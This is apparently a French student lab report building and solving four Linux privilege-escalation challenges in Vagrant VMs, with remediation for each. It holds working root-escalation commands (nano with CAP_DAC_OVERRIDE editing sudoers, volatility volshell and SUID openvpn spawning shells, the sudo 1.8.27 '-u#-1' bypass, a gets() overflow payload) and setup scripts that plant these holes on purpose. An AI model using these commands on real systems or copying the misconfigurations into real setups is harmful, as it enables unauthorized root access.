---
# System prepended metadata

title: TP be-root

---

DIAS Steven
FEUGERE Thibault
FRASCHINI Alexandre
LIJOUR Udo

# TP be-root

[TOC]

## Erreur de capabilities

### Capability CAP_DAC_OVERRIDE
Ajoutée à un binaire, elle permet à celui-ci de bypass la vérification des permissions (lecture, écriture et exécution) sur tous les fichiers.
On peut ainsi l'utiliser pour effectuer une élévation de privilèges, par exemple en ajoutant notre utilisateur aux sudoers, ou en modifiant le mot de passe d'un utilisateur dans le fichier /etc/shadow.

### Création de la vulnérabilité
On ajoute la capability CAP_DAC_OVERRIDE au binaire /usr/bin/nano : 
```
sudo setcap cap_dac_override=+ep /usr/bin/nano
```

### Exploitation de la vulnérabilité
On cherche des binaires avec capabilities : 
```
getcap -r / 2>/dev/null
```
On remarque la capability CAP_DAC_OVERRIDE sur le binaire /usr/bin/nano : 
![](https://i.imgur.com/caiwMib.png)

Cela signifie que `/usr/bin/nano` est lancé en avec les droits root. Nous pouvons donc lire, modifier et exécuter n'importe quel fichier avec ce binaire.

Ajoutons alors notre utilisateur aux sudoers : 
```
nano /etc/sudoers
```
Pour cela, il suffit d'ajouter la ligne suivante sous la ligne "root" dans le fichier : 
```
<username> ALL=(ALL:ALL) ALL
```
avec `<username>` étant notre nom d'utilisateur. Par exemple, si nous sommes l'utilisateur "analyste" : 
```
analyste ALL=(ALL:ALL) ALL
```
![](https://i.imgur.com/156Q8C6.png)

Nous pouvons enregistrer et quitter le fichier avec les commandes suivantes : 
- Ctrl + O puis Entrée (pour sauvegarder les modifications)
- Ctrl + X (pour quitter l'éditeur nano)

Nous voilà avec les droits root.
Nous pouvons vérifier cela avec la commande `sudo -l`.

### Patch de la vulnérabilité
On retire toutes les capabilities au binaire : 
```
sudo setcap -r /usr/bin/nano
```
![](https://i.imgur.com/3VZDCBz.png)


### Vagrant pour installation du challenge 

Une fois le vagrant lancé il faut ssh dedans, se connecter en tant que challeng1 et essayer de lire avec le binaire nano des fichiers restreints 
```

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-20.04"

  config.vm.provision "shell", inline: <<-SHELL
     apt-get update
     mkdir /home/challenge1;useradd -s /bin/rbash -d /home/challenge1 challenge1
     echo "challenge1:azerty" | chpasswd
     setcap cap_dac_override=+ep /usr/bin/nano
  SHELL

end
```

---

## Erreur de droit via sudo ou setuid

Pour jouer avec ce challenge il faut écrire le vagrant file et télécharger le dump mémoire sur votre machine. 

Lien pour télécharger le dump mémoire
http://nc.awayfrom.network:60080/s/TojyqM4f6mRSbiK

Il faut mettre le fichier dump mémoire au même endroit que le vagrantfile. 

Une fois lancer on se connecte au vagrant avec la commande `vagrant ssh`

Pour entrer dans le challenge on se déplace dans le dossier /home/challenge1 et on change d'utilisateur avec la commande `su challenge1` avec le mot de passe azerty. 

Une fois en tant que challenge1 le challenge démarre et notre objectif sera de monter nos privilège et de devenir challenge2 

avec une énumération basique avec un sudo -l on peut voir que l'utilisateur challenge1 peut lancer sans avoir besoin de mot de passe volatility en tant que challenge2 

![](https://i.imgur.com/fRy6CNM.png)

en faisant quelque recherche sur internet, nous découvrons qu'il est possible avec volatility d'effectuer une privesc grace à l'option `volshell`

Pour cela il faut exécuter dans un premier temps une commande pour identifier le profile à utiliser pour le dump mémoire qui nous est donnée : 
`volatility imageinfo -f Snapshot19.vmem`

![](https://i.imgur.com/AdmKA9w.png)

Une fois la commande réalisé nous savons que c'est un dump windows 7 nous pouvons donc maintenant lancer le volshell : 

`sudo - u challenge2 vol.py -f Snapsho19.vmem volshell --profile Win7SP1x64`
Depuis ce volshell il est possible de lancer un shell bash 
`__import__('os').system('/bin/sh')`

![](https://i.imgur.com/42OMFpF.png)
Nous avons bien effectué une privesc grace à volatility et sa mauvaise configuration de sudo. 
Pour corriger cette vulnérabilité il est important de ne pas donner les droit sudo à des outils tels que volatility qui permettent d'exécuter des shell en détournant l'utilisation du volshell.

Toujours dans la même machine, il y a l'utilitaire Openvpn qui a le bit SUID définit, sans suppression de privilèges. 

![](https://i.imgur.com/v5thvGp.png)

On peut donc obtenir un shell avec privilèges et accéder à des fichiers sensibles tel que `/etc/shadow` grâce à la commande : 

`openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'`

Avant : 

![](https://i.imgur.com/Nb4yT1W.png)

Après : 

![](https://i.imgur.com/GM6r4zP.png)
![](https://i.imgur.com/3jXDobI.png)

La remédiation de cette vulnérabilité est de ne pas définir le SUID.
On peut réparer cette vulnérabilité avec la commande : 
`sudo chmod -s /usr/sbin/openvpn`

Pour déployer notre challenge voici le vagrantfile à installer : 

![](https://i.imgur.com/nABmR1g.png)


```vagrant 
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-20.04"

  config.vm.provision "shell", inline: <<-SHELL
     apt-get update
     mkdir /home/challenge1;useradd -s /bin/rbash -d /home/challenge1 challenge1
     echo "challenge1:azerty" | chpasswd
     git clone https://github.com/volatilityfoundation/volatility.git
     cd volatility
     apt install -y python openvpn
     python2.7 setup.py build
     python2.7 setup.py install
     mkdir /home/challenge2;useradd -s /bin/bash -d /home/challenge2 challenge2
     echo "challenge2:p75mUS5aSQHfw!ebat4AfzU*!d8h" | chpasswd
     echo "challenge1 ALL= (challenge2) NOPASSWD: /usr/local/bin/vol.py" >> /etc/sudoers
     chmod +s /usr/sbin/openvpn
  SHELL

  config.vm.provision "file", source: "./Snapshot19.vmem", destination: "/tmp/Snapshot19.vmem"
  config.vm.provision "shell",
      inline: "mv /tmp/Snapshot19.vmem /home/challenge1/"
end
```

---

## Erreur de mise à jours

La machine possède un défault de mise à jour sur sudo en version 1.8.27.

Pour réaliser l'exploitation il faut télécharger l'archive et build sudocar elle n'est plus disponible dans les repositories des nouvelles versions.

Étapes pour build sudo : https://www.sudo.ws/docs/install/

Version de sudo : https://www.sudo.ws/dist/sudo-1.8.27.tar.gz

`wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz`

Ensuite on dezip : 

`tar -xvf sudo-1.8.27.tar.gz`

On lance la configuration : 

`cd sudo-1.8.27 && sudo ./configure`

Nous compilons sudo avec : 

`make`

Pour vérifier cette étape nous pouvons faire : 

`make check`

```
for d in lib/util  plugins/group_file plugins/sudoers plugins/system_group src include doc examples; do \
    (cd $d && exec make check) && continue; \
    exit $?; \
done
make[1]: Entering directory '/home/vagrant/sudo-1.8.27/lib/util'
parse_gids_test: 6 tests run, 0 errors, 100% success rate
strsplit_test: 29 tests run, 0 errors, 100% success rate
atofoo_test: 23 tests run, 0 errors, 100% success rate
hltq_test: 19 tests run, 0 errors, 100% success rate
ln: failed to create symbolic link './progname_test2': Permission denied
/bin/bash: line 28: ./progname_test2: No such file or directory
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test1.out: Permission denied
sudo_conf/test1: OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test2.out: Permission denied
sudo_conf/test2: OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test3.out: Permission denied
sudo_conf/test3: OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test4.out: Permission denied
sudo_conf/test4: OK
sudo_conf/test4 (stderr): OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test5.out: Permission denied
sudo_conf/test5: OK
sudo_conf/test5 (stderr): OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test6.out: Permission denied
sudo_conf/test6: OK
/bin/bash: line 45: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_conf/test7.out: Permission denied
sudo_conf/test7: OK
sudo_conf: 9/9 tests passed; 0/9 tests failed
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test1.out: Permission denied
sudo_parseln/test1: OK
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test2.out: Permission denied
sudo_parseln/test2: OK
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test3.out: Permission denied
sudo_parseln/test3: OK
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test4.out: Permission denied
sudo_parseln/test4: OK
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test5.out: Permission denied
sudo_parseln/test5: OK
/bin/bash: line 47: /home/vagrant/sudo-1.8.27/lib/util/regress/sudo_parseln/test6.out: Permission denied
sudo_parseln/test6: OK
sudo_parseln: 6/6 tests passed; 0/6 tests failed
````

Ensuite on peut lancer l'installation : 

`make install`

On peut vérifier notre version vulnérable : 

```
sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27
```

Désormais, malgré le fait que notre utilisateur soit interdit d'exécuter en tant que root, dans notre exemple, le logiciel `bash` comme nous pouvons le voir avec la commande : 

`sudo -l`

![](https://i.imgur.com/mc5F9eg.png)
```
Matching Defaults entries for vagrant on vagrant:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on vagrant:
    (ALL, !root) /bin/bash
```

Comme nous pouvons le voir nous n'arrivons pas à exécuter `/bin/bash` en sudo : 

```
vagrant@vagrant:~$ sudo /bin/bash
Sorry, user vagrant is not allowed to execute '/bin/bash' as root on vagrant.
```

Cependant, si nous exploitons la faille de cette version avec une commande qui spécifie le user id du contexte de la commande à -1 (qui n'existe pas donc), le premier utilisateur sélectionner est root.

```
vagrant@vagrant:~$ sudo -u#-1 /bin/bash
root@vagrant:/home/vagrant# apt cache-policy
```

Remédiation : faire la mise à jour.
Comme nous pouvons le voir dans la politique APT mise en cache, les 2 seules versions sont récentes et sans cette vulnérabilité : 

```
root@vagrant:/home/vagrant# apt-cache policy sudo
sudo:
  Installed: 1.8.31-1ubuntu1.4
  Candidate: 1.8.31-1ubuntu1.4
  Version table:
 *** 1.8.31-1ubuntu1.4 500
        500 http://us.archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages
        500 http://us.archive.ubuntu.com/ubuntu focal-security/main amd64 Packages
        100 /var/lib/dpkg/status
     1.8.31-1ubuntu1 500
        500 http://us.archive.ubuntu.com/ubuntu focal/main amd64 Packages
root@vagrant:/home/vagrant# exit
```

### Vagrant pour installation de la vulnérabilité 

```
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-20.04"

  config.vm.provision "shell", inline: <<-SHELL
     apt-get update
     wget https://www.sudo.ws/dist/sudo-1.8.27.tar.gz
     tar -xvf sudo-1.8.27.tar.gz
     cd sudo-1.8.27 && sudo ./configure
     make
     make install
     sudo --version

  SHELL

```

---

## Fichier contenant des mdp accessibles à tous

### Buffer Overflow

### Architecture du dossier
Il faut télécharger le dossier ici:
http://nc.awayfrom.network:60080/s/c94AkmprWZFLiyy
Et le dezip ensuite pour avoir l'architecture suivante:
```
src
 |exploit.sh
 |make.sh
 |secure_cat.c
readme.md
Vagrantfile
```
Il faut lancer le vagrant avec la commande:
```
vagrant up
```
Puis s'y connecter avec la commande:
```
vagrant ssh
```
Le Vagrantfile est le suivant:
```vagrant
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-16.04"
  
  config.vm.provision "file", source: "src", destination: "~/challenge"

  config.vm.provision "shell", inline: <<-SHELL
      apt-get udpate
      apt-get install -y gcc
      cd challenge
      echo "FLAG{K1ng0fB0F}\nroot:root" >> liste_mdp
      chmod +x exploit.sh make.sh
      ./make.sh
    SHELL
end
```

### Exploit
Il existe des protections à la compilation afin d'empêcher les buffers overflow.
Pour les enlever afin de test, il faut utliser les flag suivants:
-fno-stack-protector qui désactive le stack smashing protector (SSP)  
-no-pie qui permet une exécution en statique du code sans que les adresses des variables, fonctions changent à chaque exécution  
-z execstack qui desactive la data execution prevention  

Pour ce bufferoverflow, nous allons juste désactiver le SSP.  
Les commandes suivantes vont permettre de compiler notre programme C et de donner les permissions a notre binaire. (à exécuter en sudo)  
```bash
gcc -fno-stack-protector secure_cat.c -o main
chown root:vagrant main
chmod +s main
```  
Il y a un fichier `liste_mdp` présent dans le dossier. Cependant, seul l'utilisateur root à les droits de lecture.

Le code qui nous intéresse dans le programme est le suivant:
```c
[...]
int secret = 0xdeadbeef;
char buffer[20] = {0};
[...]
gets(buffer);
if (secret == 0xfee1dead) {
    puts("Correct password to read this file!");
    setreuid(geteuid(), geteuid());
    system("cat liste_mdp");
}
```
On voit qu'on ne check pas le nombre de char en input de la fonction `gets()`  
On peut donc essayer d'entrer plein de char pour voir le résultat.
Il se trouve que en entrant plusieurs char, on écrase la variable `secret` dans la pile.  
C'est ce qu'il nous faut, nous allons donc écraser la valeur et la remplacer par la valeur dans le if (payload qui est dans le exploit.sh à lancer avec `./exploit.sh` pour réussir l'exploit).
```bash
python2.7 -c "print('A'*68+'\xad\xde\xe1\xfe'+'\0'*4)" | ./main liste_mdp
```
Le payload ci-dessus nous permet d'override la valeur secret et la remplacer par la bonne valeur afin que le programme nous lise le fichier `liste_mdp`.
Nous avons donc l'output suivant:
```sh
Enter password to read this file:
Correct password to read this file!
FLAG{K1ng0fB0F}
```
### Security

Il faut utiliser la fonction fgets au lieu de gets afin de contrôler la taille de l'input utilisateur.  
GCC implémente beaucoup de sécurité lors de la compilation, il faut donc s'assurer que le code écrit ne permette pas de buffer overflow.
